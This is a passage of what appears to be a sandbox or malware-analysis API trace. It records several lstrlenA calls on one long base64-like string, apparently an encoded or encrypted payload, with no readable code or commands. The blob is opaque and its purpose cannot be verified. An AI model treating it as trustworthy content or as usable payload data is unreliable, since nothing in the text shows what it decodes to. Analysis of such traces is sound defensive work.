DfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.885] lstrlenA 